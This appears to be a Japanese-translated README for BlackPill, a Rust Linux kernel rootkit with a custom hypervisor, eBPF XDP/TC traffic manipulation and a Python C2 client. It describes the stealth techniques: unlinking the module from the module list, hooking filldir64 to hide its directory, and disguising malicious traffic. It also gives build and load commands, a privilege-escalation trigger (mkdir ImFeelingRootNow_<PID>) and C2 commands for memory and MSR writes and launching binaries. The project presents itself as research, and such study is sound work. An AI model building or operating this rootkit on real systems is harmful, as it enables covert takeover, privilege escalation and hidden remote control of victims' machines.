
Rustで書かれた、カスタムメイドのタイプ2ハイパーバイザー、eBPF XDPおよびTCプログラムを使用したLinuxカーネルルートキット
BlackPillは、Rustで作られたステルス性の高いLinuxルートキットです。
ルートキットは複数のモジュール(カーネルモジュールではなくRustモジュール)で構成されています:
アーキテクチャは以下のようになります:

そして、C2からVMゲストへの悪意のあるコードの実行方法は次のとおりです:

C2は、細工されたアセンブル済みのx86_64ニーモニックをルートキットに送信し、ルートキットはそれをVMゲストに送信して実行します。VMゲストはホストから分離されており、悪意のあるコードの実行に使用できます。
カーネルは、受信する悪意のあるパケットを認識しません。それらはeBPF XDPプログラムによってフィルタリングされ、LKMモジュールに送られるからです。また、送信パケットはeBPF TCプログラムによって変更されます。
[!IMPORTANT]
このプロジェクトはまだ開発中です。 すべての機能が動作しているわけではありません!
お気軽にIssueやプルリクエストを送信してください。
フッキングはルートキットの基本的な機能であり、Linuxカーネルのkprobesを使用して実装されています。この技術はシステム関数の実行をインターセプトしてリダイレクトし、その動作を監視または変更します。このルートキットのコンテキストでは、kprobesはソースコードを直接変更することなくカーネル関数と対話する強力なメカニズムを提供します。
ステルス性を確保するために、ルートキットは主に2つの検出防止メカニズムを採用しています:
カーネルモジュールリストからモジュールを削除
カーネルモジュールがロードされると、カーネルのモジュールリストに追加され、lsmodや/proc/modulesなどのツールで表示されます。検出を防ぐために:
特定のディレクトリを隠すためのfilldir64関数のフッキング
ルートキットで使用されるファイルを隠すために、filldir64関数にフックが実装されています。この関数は、プロセスがディレクトリの内容を読み取るとき(例:getdentsやreaddirシステムコールを介して)に呼び出されます。
kprobesを使用してfilldir64関数をインターセプトします。/BLACKPILL-BLACKPILLディレクトリ(重要なルートキットファイルを保存するために使用される)と一致する場合、そのエントリはフィルタリングされ、ユーザーに返されません。eBPF XDPおよびTCプログラムを使用したイングレスおよびエグレスネットワークトラフィックの変更
悪意のあるネットワーク通信を正常に見せるために、eBPF XDP(eXpress Data Path)とTC(Traffic Control)プログラムを使用します。これにより、次のことが可能です:
私たちのシンプルなハイパーバイザーは、次の手順に従って実装されています:
初期システム設定
VMXまたはSVMモードへの移行
ホストとゲスト間の遷移の管理
ゲストシステムの作成
通信
永続化は、どのルートキットにおいても重要な機能であり、再起動後もターゲットシステムの制御を維持することを可能にします。現在の実装では、/bin/touchコマンドを使用してファイルシステムにテストファイルを作成することで、その機能を示しています。このプレースホルダアクションは、ルートキットが特権操作を実行する能力を示しており、より高度な永続化戦略を実装するために拡張できます。現在は、APTレベルのルートキットを作成することが優先事項ではなく、あまり知られていない概念に関する研究が重要であるため、この機能は現在は役に立っていません。
ルートキットをコンパイルする前に、複数の手順を実行する必要があります。開発環境は以下で構成されています:
リポジトリとその浅いサブモジュールをクローンすることから始めます:
git clone [email protected]:DualHorizon/blackpill.git --recursive --depth 1
Archベースのディストリビューションの場合:
sudo pacman -S qemu-base qemu-desktop docker grub
ArchベースのLinuxディストリビューションで、Rustとその他の依存関係をインストールします:
sudo pacman -S rust rust-src rust-bindgen
sudo pacman -S clang lld llvm
次に、Rustソースとbindgenが必要です:
rustup component add rust-src clippy rustfmt
cargo install --locked bindgen-cli
linux/フォルダで以下を実行して、Rustでカーネルのコンパイルを開始できることを確認します:
$ cd blackpill
$ pushd linux
$ make LLVM=1 rustavailable
Rust is available!
$ popd
カーネルを設定およびコンパイルする初回セットアップタスクを起動します:
make first-time-setup
[!IMPORTANT]
オプションのカスタマイズを求められた場合は、毎回Enterキーを押してください。
Rustカーネルモジュール(アウトオブツリー)は次の方法でコンパイルできます:
make
VMを起動するには:
make vm
VM内では、自動的にrootでログインされています。モジュールを有効にするには:
$ modprobe blackpill
# カーネルログを確認するには
$ dmesg
VMが起動したら、上記のコマンドを使用して権限を昇格できます:
mkdir ImFeelingRootNow_<PID>
<PID>を権限を昇格させたいプロセスのプロセスIDに置き換えてください。
このシンプルなC2は、UDPを介して感染マシンにx86-64オペコードを送信し、TCPパケットを受信します。現在の機能はマシンとの低レベルなやり取りに限定されていますが、より多くのラッパーを使用することで、多くの実用的な使い方が可能になるかもしれません。
Pythonクライアントをセットアップ:
cd blackpill-c2
poetry install
poetry shell
python client.py
引数([ip] [port])を指定してクライアントを起動すると、次のように表示されます:
$ python client.py 0.0.0.0 1339
Connected to rootkit!
その後、helpコマンドを使用して使用可能なコマンドを表示できます:
blackpill: help
Available Commands
┏━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┓
┃ Command ┃ Description ┃
┡━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┩
│ read_virt_memory <address> │ 'address'のメモリ4バイト(32ビット)を読み取る │
│ write_virt_memory <address> <value> │ 'address'のメモリに4バイト(32ビット)を書き込む │
│ launch_userland_binary <path> │ 'path'でユーザーランドバイナリを起動する │
│ change_msr <msr> <value> │ モデル固有レジスタ(MSR)の値を変更する │
│ read_phys_memory <address> <value> │ 'address'の物理メモリ4バイト(32ビット)を読み取る │
│ write_phys_memory <address> <value> │ 'address'の物理メモリに4バイト(32ビット)を書き込む │
│ stop_execution │ ゲストVMの実行を停止する │
│ change_vmcs_field <field> <value> │ VMCSフィールドを'value'に変更する │
│ help │ このヘルプメッセージを表示する │
└─────────────────────────────────────┴─────────────────────────────────────────────────────────┘
環境セットアップ: